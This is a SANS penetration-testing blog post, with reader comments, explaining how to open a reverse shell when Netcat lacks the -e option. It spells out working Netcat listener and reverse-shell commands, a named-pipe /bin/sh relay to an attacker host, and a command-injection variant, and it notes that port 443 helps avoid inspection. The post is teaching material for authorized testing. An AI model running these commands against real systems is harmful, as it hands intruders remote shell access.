SANS Penetration Testing

Netcat without -e? No Problem!

by Ed Skoudis

Many pen testers know how to create a reverse backdoor shell with Netcat. But, what do you do if you have a Netcat that doesn't support the -e or -c options to run a shell? And, what if your target doesn't support /dev/tcp? In this article, I'll show you a nifty little work-around using some command-line kung fu with shell redirects.


Netcat is fantastic little tool included on most Linuxes and available for Windows as well. You can use Netcat (or its cousin, Ncat from the Nmap project) to create a reverse shell as follows:

First, on your own pen test machine, you create a Netcat listener waiting for the inbound shell from the target machine:

skodo@pentestbox# nc -nvlp 443

Here, I'm telling Netcat (nc) to not resolve names (-n), to be verbose printing out when a connection occurs (-v), to listen (-l) on a given local port (-p). For some versions of Netcat, you leave the -p off of the listener invocation. Note that you need root-level privileges to listen on a port less than 1024. I'm using 443 here because it is more likely to be allowed outbound from my target environment to get back to my pentestbox Netcat listener, and is less likely to get noticed. Some organizations assume all TCP 443 traffic to be HTTPS, and therefore don't bother inspecting that traffic because they expect it to be encrypted. That's a bad assumption on their part.

Then, on the target machine, get the following command to execute (perhaps via command injection in a web app or some other attack technique):

victim$ nc pentestbox 443 -e /bin/bash

This command invokes a Netcat client on the victim, which connects to the attacker's pentestbox on TCP port 443. The Netcat client then executes /bin/bash (-e /bin/bash) on the victim, connecting that shell's Standard Input and Standard Output to the network (that's what Netcat's -e option does... the -c option on some versions of Netcat is similar, except instead of executing just a single program, with no options, to connect, it executes a command which could have various parameters).

Then, on the pentestbox machine, we'll see the inbound connection, which we can type commands into as follows (typed commands in bold):

skodo@pentestbox# nc -nvlp 443
listening on [any] 443 ...
connect to [AttackerIPaddress] from (UNKNOWN) [VictimIPaddress]

But, What If You Don't Have -e Support?

OK. That's all well and good? pretty standard fare for pen testers. But, what if you have a version of Netcat that doesn't support the -e option? In the traditional Netcat, if the well-named GAPING_SECURITY_HOLE option isn't defined in the Netcat source when it is compiled, your resulting Netcat executable won't support -e. Is all hope lost? Not at all. Years ago, I demonstrated how you could use /dev/tcp to implement a Netcat-like backdoor, without using Netcat at all. You can see it in my presentation called "Netcat without Netcat" here (slide 17 talks about the technique).

But, to use that technique, you need to have a bash that supports /dev/tcp. What if the target Linux is a Debian variant, which typically has a bash compiled without /dev/tcp support? Or, worse yet, what if the target system doesn't even have bash! Some stripped down Linuxes rely on other shells, such as plain old sh or ash. Shudder. Wow? sucks to be you. You've got a target Linux, but without a /dev/tcp and without a -e option in Netcat. Should you just give up? Nope.

I have, near my house, a magical Olive Garden. In this restaurant, I get all kinds of crazy ideas, often sitting at the bar awaiting my family to join me for dinner.* I was once sitting there, contemplating a penetration test I was working on, when suddenly it hit me: I can make something that works like Netcat with -e, even without a -e, by leveraging my shell.

In effect, I was going to implement a traditional Netcat relay (which I described in detail, along with a bunch of other crazy Netcat relays, on the Pauldotcom podcast episode 195 here), but instead of relaying from a Netcat listener to a Netcat client, I can relay from a shell to a Netcat client. Check it out:

As before, we start with a Netcat listener waiting for the inbound shell:

skodo@pentestbox# nc -nvlp 443

Now, on the target machine, I inject the following commands:

victim$ mknod /tmp/backpipe p 
victim$ /bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe

Here, I've first made a named pipe (also called a FIFO) called backpipe using the mknod command. The mknod command lets me create things in the file system, and here I'm creating something called "backpipe" that is of type "p", which is a named pipe. Alternatively, we could have used the mkfifo command available on some Linuxes and Unix variants, leaving off the p option. This FIFO will be used to shuttle data back to our shell's input. I created my backpipe in /tmp because pretty much any account is allowed to write there.

Then, I invoke my shell (/bin/sh), the most common shell available on all kinds of Linuxes and Unixes, pulling its Standard Input from the backpipe (0</tmp/backpipe). I pipe the output of /bin/sh (|) to my Netcat client. That Netcat client connects to the pentestbox on port 443 (nc pentestbox 443). I then take Netcat's Standard Output and dump it into the backpipe (1>/tmp/backpipe). On most shells, you can dispense with the 0< and 1> syntax, but on occasion, I've seen some weird shells where it doesn't work unless you use 0< and 1>. I always throw them in, just to make sure it'll work.

On the pentestbox machine, it proceeds pretty much like before:

skodo@pentestbox# nc -nvlp 443
listening on [any] 443 ...
connect to [AttackerIPaddress] from (UNKNOWN) [VictimIPaddress]

But, What If You Have Raw Execution and You're Not in a Shell?

Now, there's one more thing to keep in mind. All of this redirect craziness (0<, |, and 1>) depends on there being a shell in which we're invoking the whole command on the victim machine. If you have raw command injection, in which you can execute arbitrary programs on the target machine, but without a shell (sometimes that happens with very vulnerable web apps), you'll have to modify the command just a bit. You'll need to invoke your own shell on the local target box (/bin/sh), which then in turn (using the -c option) invokes the backdoor shell (another /bin/sh) and all the great redirect stuff to invoke Netcat. Do that by injecting the following command:

/bin/sh -c "/bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe"

So, there you have it? a way to make a Netcat behave as though it has a -e or -c option, even though it doesn't, all by leveraging some wonderful shell redirects.

If you like this kind of thing, I recommend you take my SANS Network Penetration Testing and Ethical Hacking Course (SANS Security 560).

Thanks for reading!

-Ed Skoudis.

SANS Fellow and Pen Test Curriculum Lead
Founder, Counter Hack

* I have found it very helpful to identify a place as "magical" for the purpose of crazy, whimsical, and useful idea formation. Additionally, it's nice to have a time of day that you consider especially ripe for ideation. When there or then, tell yourself that you are now in the zone when ideas will happen, and your brain will be more likely to come up with interesting ideas. In a cynic's view, you are tricking yourself to come up with ideas. Or, from the optimist's point of view, you are setting the stage for your soul to soar.

The place and time don't have to line up. In fact, it's best if they don't, as you'll get more chances for ideas. For me, the place is that Magical Olive Garden in Eatontown, NJ, which I go to for dinner. But, the time is dawn, just as the sun is rising, when I'm on my morning walk. Much magic then!

Upcoming SANS Special Event - 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge - KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • "On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team." - @mikehodges
  • "#SANSHolidayHack Confession — I have never used python or scapy before. I got started with both today because of this game! Yay!" - @tww2b
  • "Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa" - @dnlongen


Posted May 10, 2013 at 4:10 AM | Permalink | Reply


mknod can only run successfully under root or user in root group,so i think it's not very useful under a real pentesting env.

Posted July 9, 2013 at 3:13 AM | Permalink | Reply


That's file system permissions, not the actual permissions of the command.
$ mknod /dev/test1 p
mknod: `/dev/test1'': Permission denied
$ mknod /tmp/test1 p
No special permission is required to make devices on any UNIX I've ever seen, you just need to be able to write to the path. (I'd recommend writing to /dev/shm instead of /tmp or something, to avoid touching disk)

Posted July 9, 2013 at 10:06 AM | Permalink | Reply

Ed Skoudis

pnig0s is correct. Any user can run on mknod. But, you have to create something in a place in the file system where you have permission to write, just as you would with any other command that writes to the file system.

Posted January 20, 2015 at 11:35 PM | Permalink | Reply


What if you want to run this under UDP? I have tried with -u on both sides without much luck

Posted April 23, 2015 at 1:58 PM | Permalink | Reply


pretty good stuff there Ed. very handy trickery.

Posted January 15, 2017 at 5:55 AM | Permalink | Reply

Tampa Florida web hosting

When somdone writes an piece of writing he/she retains the image
of a user in his/her brain that how a user can understand it.
So that's why this paragraph is outstdanding. Thanks!

Posted December 13, 2017 at 1:23 PM | Permalink | Reply



Posted June 3, 2018 at 11:40 PM | Permalink | Reply

Reilly Chase

Thanks, I was hacking an embedded device today with busybox on it but didn't have -e, got that backdoor working with this guide!

Posted July 30, 2019 at 2:56 PM | Permalink | Reply

Steven Thompson

Hi Ed. I think you have a typo in your footnote, when you say "you are setting the stage for your soul to sour" I think you mean "you are setting the stage for your soul to soar."
Although your way is funnier, especially given that you describe this as the optimist's view. I'd hate to see how the pessimist thinks.

Post a Comment


* Indicates a required field.